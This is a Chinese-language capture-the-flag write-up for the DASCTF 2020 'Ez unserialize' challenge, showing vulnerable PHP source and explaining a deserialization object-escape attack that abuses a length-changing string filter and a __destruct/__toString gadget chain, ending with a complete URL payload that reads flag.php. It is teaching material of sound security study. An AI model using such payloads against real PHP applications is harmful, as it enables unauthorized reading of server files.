刷題[安恆DASCTF2020四月春季賽]Ez unserialize


解題思路

打開直接源碼,沒別的,審就完事了

代碼審計

 <?php
show_source("index.php");
function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
class A{
    public $username;
    public $password;
    function __construct($a, $b){
        $this->username = $a;
        $this->password = $b;
    }
}
class B{
    public $b = 'gqy';
    function __destruct(){
        $c = 'a'.$this->b;
        echo $c;
    }
}
class C{
    public $c;
    function __toString(){
        //flag.php
        echo file_get_contents($this->c);
        return 'nice';
    }
}
$a = new A($_GET['a'],$_GET['b']);
//省略了存儲序列化數據的過程,下面是取出來並反序列化的操作
$b = unserialize(read(write(serialize($a))));

反序列化思路

  1. 首先觀察new了A類,然后將其序列化,經過兩個函數處理后再反序列化。

  2. C類中有tostring魔法方法,利用其中的file_get_contents函數讀取flag.php文件

  3. 觸發tostring魔法方法需要字符串操作,向上看,正好B類中的析構函數存在字符串的拼接操作

所以整個反序列化思路為:將A的屬性實例化為B,然后將B的屬性實例化為C對象,觸發魔法方法讀取flag

大致的序列化結果:
O:1:"A":2:{s:8:"username";s❌"payload1";s:8:"password";s:xx:"payload2";}

payload2:
O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php"}}

對象逃逸

核心思想:過濾導致的字符串位數增加或減少,不會導致序列化中變量名字符數改變,導致逃逸出新的對象

同時對象逃逸的特點是
過濾函數放在了序列化函數之后

看read函數,將\0\0\0 (6個字符) 替換成 chr(0)*chr(0) (3個字符),所以這里逃逸處3個字符

我們要逃逸出的字符串是
";s:8:"password";s:xx:" 共23位(因為這里payload打在password里,所以xx一定是兩位數) 為什么是這個字符串在下面解釋

因為一組逃逸出三個字符,所以這里共需逃逸八組,也就是
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 (24個\0)將其傳入payload1中

只序列化后的結果:
O:1:"A":2:{s:8:"username";s:48:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:72:"A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php"}}";}

經過函數過濾后的結果:
O:1:"A":2:{s:8:"username";s:48:"********";s:8:"password";s:72:"A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php"}}";} (實際每個*號前后有兩個空字符,這里未顯示)

可以看到,反序列化過程中,在讀入username的值時,讀入48位,從第一個 空*空 開始讀,********";s:8:"password";s:72:"A (因為總逃逸的字符串有24位,需要逃逸的只有23位,這里加上一個A字符,湊成24位)

讀完此時,結束,發現原本的password屬性被吞,但因為序列化字符串中類里面的變量數是2,所以此時繼續讀一個變量,讀入我們傳的password,也就是讀出了我們希望傳入的password,這時新對象即逃逸出來
構成對象逃逸

成功完成攻擊,讀取出flag值

整個的payload就是:
?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php"}}


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM